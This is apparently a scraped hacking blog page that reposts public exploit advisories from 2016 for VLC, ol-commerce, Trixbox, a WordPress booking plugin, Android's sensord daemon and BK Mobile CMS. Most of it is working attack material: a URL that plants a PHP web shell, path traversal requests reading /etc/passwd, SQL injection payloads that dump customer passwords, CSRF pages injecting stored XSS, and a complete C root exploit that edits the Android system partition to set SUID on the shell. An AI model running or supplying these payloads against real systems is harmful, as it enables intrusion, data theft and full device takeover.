#####################################################################################
Application: VLC media player
Platforms: Windows
Versions: Version 2.2.1
Author: Francis Provencher of COSIG
Website: http://www.protekresearchlab.com/
Twitter: @COSIG_
#####################################################################################
1) Introduction
2) Report Timeline
3) Technical details
4) POC
#####################################################################################
===============
1) Introduction
===============
VLC media player (commonly known as VLC) is a portable, free and open-source, cross-platform media player andstreaming media server written by the VideoLAN project. VLC is available for desktop operating systems as also mobile platforms as Android, iPad, iPhone, and iPod Touch. VLC is also available on App stores such as Apple’s App Store. VLC media player supports many audio and video compression methods and file formats, including DVD-Video, video CD and streaming protocols. It is able to stream media over computer networks and to transcode multimedia files.[10]
(https://en.wikipedia.org/wiki/VLC_media_player)
#####################################################################################
============================
2) Report Timeline
============================
2016-01-26: Francis Provencher from Protek Research Lab’s report the issue to VLC;
2016-01-27: Publication of this advisory;
#####################################################################################
============================
3) Technical details
============================
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of VLC.
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
An heap memory corruption occured when VLC parsed an malformed MPEG-4 file that contain an invalid Sample Table and Sample Description (STSD) Atoms size. An attacker can leverage this vulnerability to execute arbitrary code under the context of the current process.
#####################################################################################
===========
4) POC
===========
http://protekresearchlab.com/exploits/COSIG-2016-03.mp4
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39353.zip
###############################################################################
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863223789
Contributors to this blog
-
16114
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
source: https://www.securityfocus.com/bid/68719/info
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ol-commerce 2.1.1 is vulnerable; other versions may also be affected.
Http://www.example.com/maint/modules/home/index.php?lang=MF;echo "<?php
system(\$_GET['cmd']);?> \$Greats 2 MY=\"Love:D">shell.php
Your Shell
Http://www.example.com/maint/modules/home/shell.php?cmd=id
uid=100(asterisk) gid=101(asterisk) groups=101(asterisk) $Greats 2
MY="Love:D
source: https://www.securityfocus.com/bid/68719/info
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ol-commerce 2.1.1 is vulnerable; other versions may also be affected.
Http://www.example.com/maint/modules/endpointcfg/endpointcfg.php?lang=../../../../../../../../etc/passwd%00
source: https://www.securityfocus.com/bid/68719/info
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ol-commerce 2.1.1 is vulnerable; other versions may also be affected.
Http://www.example.com/maint/modules/repo/repo.php?lang=../../../../../../../../etc/passwd%00
source: https://www.securityfocus.com/bid/68719/info
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ol-commerce 2.1.1 is vulnerable; other versions may also be affected.
Http://www.example.com/maint/modules/asterisk_info/asterisk_info.php?lang=../../../../../../../../etc/passwd%00
source: https://www.securityfocus.com/bid/68719/info
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ol-commerce 2.1.1 is vulnerable; other versions may also be affected.
Http://www.example.com/maint/modules/home/index.php?lang=../../../../../../../../etc/passwd%00
source: https://www.securityfocus.com/bid/68720/info
Trixbox is prone to the following security vulnerabilities:
1. An SQL-injection vulnerability
2. A cross-site scripting vulnerability
3. Multiple local file-include vulnerabilities
4. A remote code-execution vulnerability
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, to steal cookie-based authentication credentials, exploit latent vulnerabilities in the underlying database or perform certain unauthorized actions and gain access to the affected application.
Http://www.example.com/maint/modules/endpointcfg/endpoint_generic.php?action=Submit&mac=1' and 1=2 union select 1,2,3,4,5,6-- -
source: https://www.securityfocus.com/bid/68719/info
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ol-commerce 2.1.1 is vulnerable; other versions may also be affected.
http://www.example.com/OL-Commerce/admin/create_account.php?action=edit
POST /OL-Commerce/admin/create_account.php?action=edit HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://www.example.com/OL-Commerce/admin/create_account.php?action=edit
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 301
default_address_id=&customers_gender=m&csID=100&customers_firstname=aaaa
&customers_lastname=bbbb&customers_email_address=email@hotmail.com
&entry_company=cccc&customers_vat_id=1212&entry_street_address=dddd
&entry_postcode=00961&entry_city=eeee&entry_country_id=118[SQL INJECTION]
&customers_telephone=12121233&customers_fax=23421424&status=0
&customers_mail=yes&payment_unallowed=&shipping_unallowed=
&entry_password=12121212&mail_comments=
[NOTE]
------
entry_country_id=118[SQL INJECTION]=118' and (select 1 from (select
count(*),concat((select(select
concat(cast(concat(database(),0x3a,version()) as char),0x7e)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1-- -
source: https://www.securityfocus.com/bid/68719/info
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ol-commerce 2.1.1 is vulnerable; other versions may also be affected.
http://www.example.com/OL-Commerce/create_account.php
POST /OL-Commerce/create_account.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/OL-Commerce/create_account.php
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 301
action=process&gender=m&firstname=aaaaa&lastname=bbbb
&dob=17.05.1991&email_address=email@hotmail.com
&company=ccc&vat=1234&street_address=dddd&suburb=eeee
&postcode=00961&city=fffff&state=gggggg
&country=118[SQL
INJECTION]&telephone=45345325&fax=234234&password=12121212&confirmation=12121212&x=28&y=4
[NOTE]
------
country=118[SQL INJECTION]=118' and (select 1 from (select
count(*),concat((select(select
concat(cast(concat(database(),0x3a,version()) as char),0x7e)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1-- -
source: https://www.securityfocus.com/bid/68719/info
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ol-commerce 2.1.1 is vulnerable; other versions may also be affected.
http://www.example.com/OL-Commerce/affiliate_show_banner.php?ref=1&affiliate_banner_id=1[SQL INJECTION]
source: https://www.securityfocus.com/bid/68719/info
ol-commerce is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ol-commerce 2.1.1 is vulnerable; other versions may also be affected.
http://www.example.com/OL-Commerce/affiliate_signup.php
POST /OL-Commerce/affiliate_signup.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/o/affiliate_signup.php
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 629
action=process&a_gender=m&a_firstname=haha&a_lastname=hahasdf&a_dob=457689
&a_email_address=email@hotmail.com&a_company=iiiiii&a_company_taxid=12
&a_payment_check=jjjjjj&a_payment_paypal=email@hotmail.com
&a_payment_bank_name=paypal
&a_payment_bank_branch_number=555555&a_payment_bank_swift_code=444444
&a_payment_bank_account_name=qqqqqq&a_payment_bank_account_number=3333333
&a_street_address=ddddddd&a_suburb=ccccccf&a_postcode=00961&a_city=bbbbbb
&a_country=118[SQL
INJECTION]&a_state=aaaaaa&a_telephone=22222222&a_fax=11111111&
a_homepage=http://iphobos.com/blog&a_password=12121212
&a_confirmation=12121212&a_agb=1&x=65&y=3
[NOTE]
------
a_country=118[SQL INJECTION]=118' and 1=2 union all select
group_concat(customers_id,0x3a,customers_email_address,0x3a,customers_password)+from+customers--
# Exploit Title: WordPress appointment-booking-calendar <=1.1.24 - SQL injection through ´addslashes´ (wordpress ´wp_magic_quotes´ function)
# Date: 2016-01-28
# Google Dork: Index of /wordpress/wp-content/plugins/appointment-booking-calendar/
# Exploit Author: Joaquin Ramirez Martinez [now i0 security-lab]
# Software Link: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form
# Vendor: CodePeople.net
# Vebdor URI: http://codepeople.net
# Version: 1.1.24
# OWASP Top10: A1-Injection
# Tested on: windows 10 + firefox + sqlmap 1.0.
===================
PRODUCT DESCRIPTION
===================
"Appointment Booking Calendar is a plugin for **accepting online bookings** from a set of **available time-slots in
a calendar**. The booking form is linked to a **PayPal** payment process.
You can use it to accept bookings for medical consultation, classrooms, events, transportation and other activities
where a specific time from a defined set must be selected, allowing you to define the maximum number of bookings
that can be accepted for each time-slot."
(copy of readme file)
======================
EXPLOITATION TECHNIQUE
======================
remote
==============
SEVERITY LEVEL
==============
critical
================================
TECHNICAL DETAILS && DESCRIPTION
================================
A SQL injection flaw was discovered within the latest WordPress appointment-booking-calendar plugin version 1.1.24.
The flaw were found in the function that is executed when the action ´cpabc_appointments_calendar_update´ is called.
The action is added with ´init´ tag, so it function is called every time when parameter
´action=cpabc_appointments_calendar_update´ appear in the query string (GET request) or POST request.
Exploiting succesful this vulnerability we need a vulnerable wordpress site with especial character set for to bypass
the ´addslashes´ function (called automatically and applied in all variables $_POST and $_GET by wordpress ´wp_magic_quotes´
function) and we need own a calendar too (could be owned by privilege escalation) or be a user with ´edit_pages´ permission (admin|editor).
The security risk of SQL injection vulnerabilities are extremely because by using this type of flaw, an attacker
can compromise the entire web server.
================
PROOF OF CONCEPT
================
An unauthenticated attacker can make a request like...
http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=cpabc_appointments_check_posted_data
&cpabc_calendar_update=1&id=<owned calendar id>
Example:
Exploiting simple SQL injection:
http://localhost/wordpress/wp-admin/admin-ajax.php?action=cpabc_appointments_calendar_update
&cpabc_calendar_update=1&id=1
Post data:
specialDates=&workingDates&restrictedDates&timeWorkingDates0&timeWorkingDates1&timeWorkingDates2
&timeWorkingDates3&timeWorkingDates4&timeWorkingDates5& imeWorkingDates6
All post variables are vulnerable to SQLi with ´addslashes´ bypass.
===============
VULNERABLE CODE
===============
located in ´cpabc_appointments.php´
function cpabc_appointments_calendar_update() {
global $wpdb, $user_ID;
if ( ! isset( $_GET['cpabc_calendar_update'] ) || $_GET['cpabc_calendar_update'] != '1' )
return;
$calid = intval(str_replace (CPABC_TDEAPP_CAL_PREFIX, "",$_GET["id"]));
if ( ! current_user_can('edit_pages') && !cpabc_appointments_user_access_to($calid) )
return;
echo "sa";
cpabc_appointments_add_field_verify(CPABC_TDEAPP_CONFIG, 'specialDates');
//@ob_clean();
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Pragma: no-cache");
if ( $user_ID )
$wpdb->query("update ".CPABC_TDEAPP_CONFIG." set specialDates='".$_POST["specialDates"]."',".CPABC_TDEAPP_CONFIG_WORKINGDATES."='"
.$_POST["workingDates"]."',".CPABC_TDEAPP_CONFIG_RESTRICTEDDATES."='".$_POST["restrictedDates"]."',".CPABC_TDEAPP_CONFIG_TIMEWORKINGDATES0.
"='".$_POST["timeWorkingDates0"]."',".CPABC_TDEAPP_CONFIG_TIMEWORKINGDATES1."='".$_POST["timeWorkingDates1"]."',".
CPABC_TDEAPP_CONFIG_TIMEWORKINGDATES2."='".$_POST["timeWorkingDates2"]."',".CPABC_TDEAPP_CONFIG_TIMEWORKINGDATES3."='"
.$_POST["timeWorkingDates3"]."',".CPABC_TDEAPP_CONFIG_TIMEWORKINGDATES4."='".$_POST["timeWorkingDates4"]."',"
.CPABC_TDEAPP_CONFIG_TIMEWORKINGDATES5."='".$_POST["timeWorkingDates5"]."',".CPABC_TDEAPP_CONFIG_TIMEWORKINGDATES6
."='".$_POST["timeWorkingDates6"]."' where ".CPABC_TDEAPP_CONFIG_ID."=".$calid);
exit();
}
===========
Note:
cpabc_appointments_calendar_update2() function is vulnerable too by the same exploit explaned here.
==========
CREDITS
==========
Vulnerability discovered by:
Joaquin Ramirez Martinez [i0 security-lab]
strparser[at]gmail[dot]com
https://www.facebook.com/I0-security-lab-524954460988147/
https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q
========
TIMELINE
========
2016-01-08 vulnerability discovered
2016-01-24 reported to vendor
2016-01-27 released plugin version 1.1.25
2016-01-28 public disclousure
# Exploit Title: WordPress appointment-booking-calendar <=1.1.24 - Privilege escalation (Managing calendars) & Persistent XSS
# Date: 2016-01-28
# Google Dork: Index of /wordpress/wp-content/plugins/appointment-booking-calendar/
# Exploit Author: Joaquin Ramirez Martinez [ i0 security-lab]
# Software Link: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form
# Vendor: CodePeople.net
# Vebdor URI: http://codepeople.net
# Version: 1.1.24
# Tested on: windows 10 + firefox + sqlmap 1.0.
===================
PRODUCT DESCRIPTION
===================
"Appointment Booking Calendar is a plugin for **accepting online bookings** from a set of **available time-slots in
a calendar**. The booking form is linked to a **PayPal** payment process.
You can use it to accept bookings for medical consultation, classrooms, events, transportation and other activities
where a specific time from a defined set must be selected, allowing you to define the maximum number of bookings
that can be accepted for each time-slot."
(copy of readme file)
======================
EXPLOITATION TECHNIQUE
======================
remote
==============
SEVERITY LEVEL
==============
medium
================================
TECHNICAL DETAILS && DESCRIPTION
================================
Multiple privilege escalation were found in appointment-booking-calendar plugin that allows remote low level
and unauthenticated users to update calendar owners and options (allowing persistent XSS).
================
PROOF OF CONCEPT
================
Changing all appointment tables with UTF-8 charset, injecting persistent XSS into ´ict´ and ´ics´ options and setting
´CPABC_APPOINTMENTS_LOAD_SCRIPTS´ option to value ´1´.
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:80/wordpress/wp-admin/admin.php?page=cpabc_appointments&ac=st&chs=UTF-8&ict=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&ics=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&scr=1", true);
xhr.send();
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
Updating calendar with id 1 and setting name with persistent XSS (if the shortcode [CPABC_APPOINTMENT_CALENDAR calendar="1"]
is added in a post, the injected XSS will appear, in administration page appear too).
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:80/wordpress/wp-admin/admin.php?page=cpabc_appointments&u=1&owner=5&name=%3C%2Foption%3E%3C%2Fselect%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2Fjoaquin%2F%29%3E%3C", true);
xhr.send();
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
==========
CREDITS
==========
Vulnerability discovered by:
Joaquin Ramirez Martinez [i0 security-lab]
joaquin.ramirez.mtz.lab[at]yandex[dot]com
https://www.facebook.com/I0-security-lab-524954460988147/
https://www.youtube.com/user/strparser_lk
========
TIMELINE
========
2016-01-08 vulnerability discovered
2016-01-24 reported to vendor
/*
* Android sensord 0day root exploit by s0m3b0dy
* tested on LG L7 (PL)
*
*
* need pentests? s0m3b0dy1(at)gmail.com
*
* * * * * * * * * * * * * * * * * * * * * * * *
*
* some Android devices have sensord deamon,
* for some ROMs the deamon is running as root process(there we can use this exploit)
*
* and
*---------
* root@android:/ # strace sensord
* ...
* open("/data/misc/sensor/fifo_cmd", O_RDWR|O_LARGEFILE) = 12
* ...
* open("/data/misc/sensor/fifo_dat", O_RDWR|O_LARGEFILE) = 13
* fchmod(12, 0666) = 0
* fchmod(13, 0666) = 0
* ---------
* there is no check that the files are not links, so we can link it to eg. block device and make it rw!
* exploit will set bit suid on /system/bin/mksh, need to reboot the device after step 1 and step 2
*
* this exploit is dangerous, before step 1 exploit is disabling auto-rotate to not overwrite /system pertition!
*
* the author is not responsible for any damage
* for education purpose only :)
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <dirent.h>
#include <ctype.h>
#define FIFO_DAT "/data/misc/sensor/fifo_dat"
#define SH "/system/bin/mksh"
struct ext4_super_block {
/*00*/ __le32 s_inodes_count;
__le32 s_blocks_count_lo;
__le32 s_r_blocks_count_lo;
__le32 s_free_blocks_count_lo;
/*10*/ __le32 s_free_inodes_count;
__le32 s_first_data_block;
__le32 s_log_block_size;
__le32 s_log_cluster_size;
/*20*/ __le32 s_blocks_per_group;
__le32 s_clusters_per_group;
__le32 s_inodes_per_group;
__le32 s_mtime;
/*30*/ __le32 s_wtime;
__le16 s_mnt_count;
__le16 s_max_mnt_count;
__le16 s_magic;
__le16 s_state;
__le16 s_errors;
__le16 s_minor_rev_level;
/*40*/ __le32 s_lastcheck;
__le32 s_checkinterval;
__le32 s_creator_os;
__le32 s_rev_level;
/*50*/ __le16 s_def_resuid;
__le16 s_def_resgid;
__le32 s_first_ino;
__le16 s_inode_size;
__le16 s_block_group_nr;
__le32 s_feature_compat;
/*60*/ __le32 s_feature_incompat;
__le32 s_feature_ro_compat;
/*68*/ __u8 s_uuid[16];
/*78*/ char s_volume_name[16];
/*88*/ char s_last_mounted[64];
/*C8*/ __le32 s_algorithm_usage_bitmap;
__u8 s_prealloc_blocks;
__u8 s_prealloc_dir_blocks;
__le16 s_reserved_gdt_blocks;
/*D0*/ __u8 s_journal_uuid[16];
/*E0*/ __le32 s_journal_inum;
__le32 s_journal_dev;
__le32 s_last_orphan;
__le32 s_hash_seed[4];
__u8 s_def_hash_version;
__u8 s_jnl_backup_type;
__le16 s_desc_size;
/*100*/ __le32 s_default_mount_opts;
__le32 s_first_meta_bg;
__le32 s_mkfs_time;
__le32 s_jnl_blocks[17];
/*150*/ __le32 s_blocks_count_hi;
__le32 s_r_blocks_count_hi;
__le32 s_free_blocks_count_hi;
__le16 s_min_extra_isize;
__le16 s_want_extra_isize;
__le32 s_flags;
__le16 s_raid_stride;
__le16 s_mmp_update_interval;
__le64 s_mmp_block;
__le32 s_raid_stripe_width;
__u8 s_log_groups_per_flex;
__u8 s_checksum_type;
__u8 s_encryption_level;
__u8 s_reserved_pad;
__le64 s_kbytes_written;
__le32 s_snapshot_inum;
__le32 s_snapshot_id;
__le64 s_snapshot_r_blocks_count;
__le32 s_snapshot_list;
#define EXT4_S_ERR_START offsetof(struct ext4_super_block, s_error_count)
__le32 s_error_count;
__le32 s_first_error_time;
__le32 s_first_error_ino;
__le64 s_first_error_block;
__u8 s_first_error_func[32];
__le32 s_first_error_line;
__le32 s_last_error_time;
__le32 s_last_error_ino;
__le32 s_last_error_line;
__le64 s_last_error_block;
__u8 s_last_error_func[32];
#define EXT4_S_ERR_END offsetof(struct ext4_super_block, s_mount_opts)
__u8 s_mount_opts[64];
__le32 s_usr_quota_inum;
__le32 s_grp_quota_inum;
__le32 s_overhead_clusters;
__le32 s_backup_bgs[2];
__u8 s_encrypt_algos[4];
__u8 s_encrypt_pw_salt[16];
__le32 s_lpf_ino;
__le32 s_prj_quota_inum;
__le32 s_checksum_seed;
__le32 s_reserved[98];
__le32 s_checksum;
};
struct ext4_group_desc
{
__le32 bg_block_bitmap_lo;
__le32 bg_inode_bitmap_lo;
__le32 bg_inode_table_lo;
__le16 bg_free_blocks_count_lo;
__le16 bg_free_inodes_count_lo;
__le16 bg_used_dirs_count_lo;
__le16 bg_flags;
__le32 bg_exclude_bitmap_lo;
__le16 bg_block_bitmap_csum_lo;
__le16 bg_inode_bitmap_csum_lo;
__le16 bg_itable_unused_lo;
__le16 bg_checksum;
__le32 bg_block_bitmap_hi;
__le32 bg_inode_bitmap_hi;
__le32 bg_inode_table_hi;
__le16 bg_free_blocks_count_hi;
__le16 bg_free_inodes_count_hi;
__le16 bg_used_dirs_count_hi;
__le16 bg_itable_unused_hi;
__le32 bg_exclude_bitmap_hi;
__le16 bg_block_bitmap_csum_hi;
__le16 bg_inode_bitmap_csum_hi;
__u32 bg_reserved;
};
struct ext4_inode {
__le16 i_mode;
__le16 i_uid;
__le32 i_size_lo;
__le32 i_atime;
__le32 i_ctime;
__le32 i_mtime;
__le32 i_dtime;
__le16 i_gid;
__le16 i_links_count;
__le32 i_blocks_lo;
__le32 i_flags;
union {
struct {
__le32 l_i_version;
} linux1;
struct {
__u32 h_i_translator;
} hurd1;
struct {
__u32 m_i_reserved1;
} masix1;
} osd1;
__le32 i_block[15];
__le32 i_generation;
__le32 i_file_acl_lo;
__le32 i_size_high;
__le32 i_obso_faddr;
union {
struct {
__le16 l_i_blocks_high;
__le16 l_i_file_acl_high;
__le16 l_i_uid_high;
__le16 l_i_gid_high;
__le16 l_i_checksum_lo;
__le16 l_i_reserved;
} linux2;
struct {
__le16 h_i_reserved1;
__u16 h_i_mode_high;
__u16 h_i_uid_high;
__u16 h_i_gid_high;
__u32 h_i_author;
} hurd2;
struct {
__le16 h_i_reserved1;
__le16 m_i_file_acl_high;
__u32 m_i_reserved2[2];
} masix2;
} osd2;
__le16 i_extra_isize;
__le16 i_checksum_hi;
__le32 i_ctime_extra;
__le32 i_mtime_extra;
__le32 i_atime_extra;
__le32 i_crtime;
__le32 i_crtime_extra;
__le32 i_version_hi;
};
void print_usage( char ** argv)
{
printf("Have 3 steps. You need to reboot the device after step 1 and step 2.\n");
printf("Usage: %s 1\n", argv[0]);
printf(" %s 2\n", argv[0]);
printf(" %s 3\n", argv[0]);
printf(" %s verify\n", argv[0]);
}
void get_system_dev( char *ptr, int size )
{
int fd = open("/proc/mounts", O_RDONLY);
int pos = 0, posend = 0, tmppos = 0;
char buff[4096];
char link[1024];
memset(buff, 0, sizeof(buff));
memset(link, 0, sizeof(link));
memset(ptr, 0, size);
if(fd != -1)
{
read(fd, &buff, sizeof(buff));
int sres = (int)strstr(buff, " /system ");
if( (sres != -1) && ((pos = (sres - (int)buff)) > 0) )
{
tmppos = pos;
int i=0;
while( (buff[pos] != '\n') && (pos > 0) ) pos--;
pos++;
strncpy(link, &buff[pos], tmppos - pos);
readlink(link, ptr, size);
}
else
{
printf("[-] Can't find system partition!\n");
close(fd);
exit(0);
}
close(fd);
}
else
{
printf("[-] Can't read /proc/mounts file!\n");
exit(0);
}
}
void first_step()
{
if( access(FIFO_DAT, F_OK) != -1 )
{
unlink(FIFO_DAT);
}
char path[1024];
get_system_dev(path, sizeof(path));
symlink(path, FIFO_DAT);
printf("[+] Symlink is created, please reboot device and run second step.\n[+] The device may slow down, after second step will work normally.\n");
}
void second_step()
{
char path[1024];
struct stat s;
unlink(FIFO_DAT);
stat(SH, &s);
printf("[+] Looking for inode no.: %llu\n", s.st_ino);
get_system_dev(path, sizeof(path));
int fd = open(path, O_RDWR);
if( fd != -1 )
{
int inodeno = s.st_ino;
struct ext4_super_block super;
struct ext4_group_desc group_descr;
struct ext4_inode inode;
unsigned long int offset=0;
lseek(fd, 0x400, SEEK_SET);
read(fd, &super, sizeof(super));
int block_size = 1024 << super.s_log_block_size;
int bg = (inodeno-1) /super.s_inodes_per_group;
lseek(fd, block_size + bg * (super.s_desc_size ? super.s_desc_size : sizeof(struct ext4_group_desc) ), SEEK_SET);
read(fd, &group_descr, sizeof(group_descr));
unsigned int index = (inodeno-1) % super.s_inodes_per_group;
unsigned int off = index * super.s_inode_size;
unsigned long total_offset = block_size + (group_descr.bg_inode_table_lo-1) * block_size + off;
lseek(fd, total_offset, SEEK_SET);
read(fd, &inode, sizeof(struct ext4_inode));
if(inode.i_size_lo == s.st_size) {
__le16 mode = 0;
printf("[+] Found inode!\n");
lseek(fd, total_offset, SEEK_SET);
inode.i_mode = inode.i_mode | 0x800;
int modesize = sizeof(inode.i_mode);
int wr = write(fd, &inode.i_mode, modesize);
if( wr == modesize )
{
printf("[+] Success, bit SUID is setted on %s\n[+] You must reboot the device to run third step\n", SH);
}
else
{
printf("[-] Can't set bit SUID on %s\n", SH);
}
}
else
{
printf("[-] Can't find inode!\n");
}
close(fd);
}
else
printf("[-] Can't open %s!\n", path);
}
void third_step()
{
char path[1024];
//chmod(SH, 4755);
setuid(0);
setgid(0);
if(getuid() == 0)
{
get_system_dev(path, sizeof(path));
chmod(path, 0600);
printf("[+] Rooted!\n");
system(SH);
}
else
{
printf("[-] No root here!\n");
exit(0);
}
}
bool isSensord(char *spath)
{
char buff[50];
bool res = false;
int fd = open(spath, O_RDONLY);
if(fd != -1)
{
read(fd, buff, 50);
if(strstr(buff, "/system/bin/sensord") != NULL)
{
res = true;
}
close(fd);
}
return res;
}
bool verify()
{
DIR* dir;
struct dirent *entry;
char spath[512];
bool res = false;
struct stat s;
dir = opendir("/proc");
if(dir) {
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_DIR) {
snprintf(spath, 512, "/proc/%s/cmdline", entry->d_name);
if (isSensord(spath)) {
stat(spath, &s);
if (s.st_uid == 0)
res = true;
break;
}
}
}
closedir(dir);
}
return res;
}
void disable_autorotate()
{
printf("[+] Disabling auto-rotate...\n");
system("content insert --uri content://settings/system --bind name:s:accelerometer_rotation --bind value:i:0");
}
int main(int argc, char **argv)
{
if(argc != 2)
{
print_usage( argv );
return 0;
}
if( strstr( argv[1], "1" ) != NULL) {
if( verify() ) {
disable_autorotate();
first_step(); //create link
}
else
{
printf("[-] It looks likey is not vulnerable!\n");
}
}
else if( strstr( argv[1], "2") != NULL) {
second_step(); //edit ext4(/system) partition(set bit suid)
}
else if( strstr( argv[1], "3") != NULL) {
third_step(); //get root shell
}
else if( strstr( argv[1], "verify") != NULL){
if( verify() )
printf("[+] Should be vulnerable!\n");
else
printf("[-] Not vulnerable!\n");
}
else{
print_usage( argv );
}
return 0;
}
#Product : BK Mobile CMS
#Exploit Author : Rahul Pratap Singh
#Version : 2.4
#Home page Link :
http://codecanyon.net/item/jquery-mobile-website-with-full-admin-panel/2441358
#Website : 0x62626262.wordpress.com
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
#Date : 27/Jan/2016
SQLi Vulnerability:
----------------------------------------
Description:
----------------------------------------
"g_name" parameter is not sanitized that leads to SQL Injection.
----------------------------------------
Vulnerable Code:
----------------------------------------
file: gallery1.php
line 5
$get_g_name = $_GET['g_name'];
$query_photos = "SELECT * FROM ".$get_prefix."photos WHERE
gallery_name='".$get_g_name."' ORDER BY id DESC";
----------------------------------------
Exploit:
----------------------------------------
http://localhost/BKMobile%20CMS/user/gallery1.php?g_name=1%27%20union%20all%20select%201,2,3,group_concat%28version%28%29%29,5--+
----------------------------------------
POC:
----------------------------------------
https://0x62626262.files.wordpress.com/2016/01/bk-mobile-templatesqlipoc.png
XSS Vulnerability:
----------------------------------------
Description:
----------------------------------------
"g_name" parameter is not sanitized that leads to reflected XSS.
----------------------------------------
Vulnerable Code:
----------------------------------------
file: gallery1.php
line 81-88
<div data-role="page" id="<?php echo $get_g_name; ?>" class="jqm-demos"
<?php echo $custom_bg_active; ?>>
<?php include("../header.php"); ?>
<div role="main" class="ui-content">
<div class="jqm-block-content">
<h3><?php echo $_GET['g_name']; ?></h3>
----------------------------------------
Exploit:
----------------------------------------
http://localhost/BKMobile%20CMS/user/gallery1.php?g_name=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E
----------------------------------------
POC:
----------------------------------------
https://0x62626262.files.wordpress.com/2016/01/bk-mobile-templatexsspoc.png
Fix:
Update to 2.5
Vulnerability Disclosure Timeline:
